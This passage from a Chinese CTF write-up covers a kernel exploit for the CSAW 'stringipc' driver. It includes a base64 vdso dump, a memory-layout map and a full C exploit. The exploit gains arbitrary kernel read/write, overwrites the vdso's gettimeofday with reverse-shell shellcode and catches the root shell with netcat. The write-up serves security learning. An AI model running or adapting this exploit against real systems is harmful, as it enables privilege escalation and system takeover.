AAAAAAAAcAAAAAEAAAAGAAAAAAAAAEAJAAAAAAAAQAkAAAAAAADpBAAAAAAAAAAAAAAAAAAAEAAA
AAAAAAAAAAAAAAAAAHYAAAABAAAAAgAAAAAAAAApDgAAAAAAACkOAAAAAAAANAAAAAAAAAAAAAAA
AAAAAAEAAAAAAAAAAAAAAAAAAACHAAAAAQAAAAYAAAAAAAAAXQ4AAAAAAABdDgAAAAAAAAwAAAAA
AAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAnQAAAAEAAAAwAAAAAAAAAAAAAAAAAAAAaQ4AAAAA
AAA1AAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAADAAAAAAAAAAAAAAAAAAAAAAAA
AJ4OAAAAAAAApgAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
再利用以下脚本进行恢复:
import base64
b64 = "base64_code"
f = open("./vdso", "wb")
f.write(base64.b64decode(b64))
f.close()
这样我们就得到了 vdso
如何爆破
vdso 有一个特性,就是按页对齐
,我们可以通过搜索函数字符串,并且将偏移与原 vdso 进行比对,从而寻找 vdso 的位置。
0x2cd
也就是 vdso 中 gettimeofday 的字符串位置
0xc80
是 gettimeofday 函数的偏移,这个不能乱改,不然的话用户态的其他进程调用会出错,导致整个 vdso crash 掉
如何确定爆破范围?
这里祭出一张 p4nda 师傅的内存映射图:
0xffffffffffffffff ---+-----------+-----------------------------------------------+-------------+
| | |+++++++++++++|
8M | | unused hole |+++++++++++++|
| | |+++++++++++++|
0xffffffffff7ff000 ---|-----------+------------| FIXADDR_TOP |--------------------|+++++++++++++|
1M | | |+++++++++++++|
0xffffffffff600000 ---+-----------+------------| VSYSCALL_ADDR |------------------|+++++++++++++|
548K | | vsyscalls |+++++++++++++|
0xffffffffff577000 ---+-----------+------------| FIXADDR_START |------------------|+++++++++++++|
5M | | hole |+++++++++++++|
0xffffffffff000000 ---+-----------+------------| MODULES_END |--------------------|+++++++++++++|
| | |+++++++++++++|
1520M | | module mapping space (MODULES_LEN) |+++++++++++++|
| | |+++++++++++++|
0xffffffffa0000000 ---+-----------+------------| MODULES_VADDR |------------------|+++++++++++++|
| | |+++++++++++++|
512M | | kernel text mapping, from phys 0 |+++++++++++++|
| | |+++++++++++++|
0xffffffff80000000 ---+-----------+------------| __START_KERNEL_map |-------------|+++++++++++++|
2G | | hole |+++++++++++++|
0xffffffff00000000 ---+-----------+-----------------------------------------------|+++++++++++++|
64G | | EFI region mapping space |+++++++++++++|
0xffffffef00000000 ---+-----------+-----------------------------------------------|+++++++++++++|
444G | | hole |+++++++++++++|
0xffffff8000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
16T | | %esp fixup stacks |+++++++++++++|
0xffffff0000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
3T | | hole |+++++++++++++|
0xfffffc0000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
16T | | kasan shadow memory (16TB) |+++++++++++++|
0xffffec0000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
1T | | hole |+++++++++++++|
0xffffeb0000000000 ---+-----------+-----------------------------------------------| kernel space|
1T | | virtual memory map for all of struct pages |+++++++++++++|
0xffffea0000000000 ---+-----------+------------| VMEMMAP_START |------------------|+++++++++++++|
1T | | hole |+++++++++++++|
0xffffe90000000000 ---+-----------+------------| VMALLOC_END |------------------|+++++++++++++|
32T | | vmalloc/ioremap (1 << VMALLOC_SIZE_TB) |+++++++++++++|
0xffffc90000000000 ---+-----------+------------| VMALLOC_START |------------------|+++++++++++++|
1T | | hole |+++++++++++++|
0xffffc80000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
64T | | direct mapping of all phys. memory |+++++++++++++|
| | (1 << MAX_PHYSMEM_BITS) |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
0xffff880000000000 ----+-----------+-----------| __PAGE_OFFSET_BASE | -------------|+++++++++++++|
| | |+++++++++++++|
8T | | guard hole, reserved for hypervisor |+++++++++++++|
| | |+++++++++++++|
0xffff800000000000 ----+-----------+-----------------------------------------------+-------------+
|-----------| |-------------|
|-----------| hole caused by [48:63] sign extension |-------------|
|-----------| |-------------|
0x0000800000000000 ----+-----------+-----------------------------------------------+-------------+
PAGE_SIZE | | guard page |xxxxxxxxxxxxx|
0x00007ffffffff000 ----+-----------+--------------| TASK_SIZE_MAX | ---------------|xxxxxxxxxxxxx|
| | | user space |
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
128T | | different per mm |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
0x0000000000000000 ----+-----------+-----------------------------------------------+-------------+
以及内核内存布局图:
可以确定我们的目标在
0xffff880000000000
~0xffffc80000000000
之间,只需按页爆破即可。
exp
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <pthread.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/auxv.h>
#define DEV_NAME "/dev/csaw"
#define OPCODE 0x77617363
#define CSAW_ALLOC OPCODE+1
#define CSAW_OPEN OPCODE+2
#define CSAW_GROW OPCODE+3
#define CSAW_SHRINK OPCODE+4
#define CSAW_READ OPCODE+5
#define CSAW_WRITE OPCODE+6
#define CSAW_SEEK OPCODE+7
#define CSAW_CLOSE OPCODE+8
#define ERROR(s) while(1){printf("%s failed!\n", s); return -1;}
struct arg{
size_t arg[4];
};
int fd;
//char buf[0x1100];
int csaw_alloc_func(size_t size){
struct arg t;
t.arg[0] = size;
ioctl(fd, CSAW_ALLOC, &t);
return t.arg[1];
}
int csaw_open_func(int id){
struct arg t;
t.arg[0] = id;
return ioctl(fd, CSAW_OPEN, &t);
}
int csaw_grow_func(int id, size_t size){
struct arg t;
t.arg[0] = id;
t.arg[1] = size;
return ioctl(fd, CSAW_GROW, &t);
}
int csaw_shrink_func(int id, size_t size){
struct arg t;
t.arg[0] = id;
t.arg[1] = size;
return ioctl(fd, CSAW_SHRINK, &t);
}
int csaw_read_func(int id, char* buf, size_t count){
struct arg t;
t.arg[0] = id;
t.arg[1] = buf;
t.arg[2] = count;
return ioctl(fd, CSAW_READ, &t);
}
int csaw_write_func(int id, char* buf, size_t count){
struct arg t;
t.arg[0] = id;
t.arg[1] = buf;
t.arg[2] = count;
return ioctl(fd, CSAW_WRITE, &t);
}
int csaw_seek_func(int id, loff_t offset, int whence){
/* there is some problem with addr
if I seek addr=0x10, program will read data at 0x20*/
struct arg t;
t.arg[0] = id;
t.arg[1] = offset-0x10;
t.arg[2] = whence;
return ioctl(fd, CSAW_SEEK, &t);
}
int csaw_close_func(int id){
struct arg t;
t.arg[0] = id;
return ioctl(fd, CSAW_CLOSE, &t);
}
int main(){
char *buf = malloc(0x1000);
fd = open(DEV_NAME, O_RDWR); // open device
if(fd < 0){
ERROR("open device");
}else printf("[+] open device at fd: %d\n", fd);
int id = csaw_alloc_func(0x100);
if(id < 0){
ERROR("alloc id");
}else printf("[+] alloc channel id: %d\n", id);
//printf("open func: %d\n", csaw_open_func(id));
if(csaw_shrink_func(id, 0x101) != 0){
ERROR("shink channel");
}else puts("[+] channel shrink success!");
// now channel size is -1(INF)
puts("\nI can write/read anywhere now.\n");
puts("start searching vdso in kernel...");
char target[] = "gettimeofday";
for(size_t addr = 0xffff880000000000; addr < 0xffffc80000000000; addr += 0x1000){
csaw_seek_func(id, addr, SEEK_SET);
csaw_read_func(id, buf, 0x1000);
int find = memmem(buf, 0x1000, target, 12);
if(find != 0){
printf("0x%x\n", (int)find - (int)buf);
}
if((int)find - (int)buf == 0x2cd){
printf("find vdso at 0x%lx\n", addr);
char shellcode[] = "\x90\x53\x48\x31\xC0\xB0\x66\x0F\x05\x48\x31\xDB\x48\x39\xC3\x75\x0F\x48\x31\xC0\xB0\x39\x0F\x05\x48\x31\xDB\x48\x39\xD8\x74\x09\x5B\x48\x31\xC0\xB0\x60\x0F\x05\xC3\x48\x31\xD2\x6A\x01\x5E\x6A\x02\x5F\x6A\x29\x58\x0F\x05\x48\x97\x50\x48\xB9\xFD\xFF\xF2\xFA\x80\xFF\xFF\xFE\x48\xF7\xD1\x51\x48\x89\xE6\x6A\x10\x5A\x6A\x2A\x58\x0F\x05\x48\x31\xDB\x48\x39\xD8\x74\x07\x48\x31\xC0\xB0\xE7\x0F\x05\x90\x6A\x03\x5E\x6A\x21\x58\x48\xFF\xCE\x0F\x05\x75\xF6\x48\x31\xC0\x50\x48\xBB\xD0\x9D\x96\x91\xD0\x8C\x97\xFF\x48\xF7\xD3\x53\x48\x89\xE7\x50\x57\x48\x89\xE6\x48\x31\xD2\xB0\x3B\x0F\x05\x48\x31\xC0\xB0\xE7\x0F\x05";
csaw_seek_func(id, addr+0xc80, SEEK_SET);
csaw_write_func(id, shellcode, 160);
puts("triggering reverse shellcode");
if(fork() == 0){
void(*gettimeofday)() = 0xc80+getauxval(AT_SYSINFO_EHDR);
gettimeofday();
exit(0);
}else{
system("nc -l -p 3333");
exit(0);
}
}
}
close(fd); // free buf
}
prctl hijack
TODO
总结
内核pwn的主要重点是对提权方法的熟悉,因为其运用的大多数知识都是来自于用户态pwn的。并且我们需要对用户和内核态切换过程非常熟练,才能构造出正确的payload。
参考资料:
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/kernel_rop-zh/
https://www.anquanke.com/post/id/172216
https://bbs.pediy.com/thread-247054.htm (其中提到了很多坑点,值得一看)
http://p4nda.top/2018/07/13/ciscn2018-core/
https://blog.csdn.net/weixin_41918450/article/details/82855065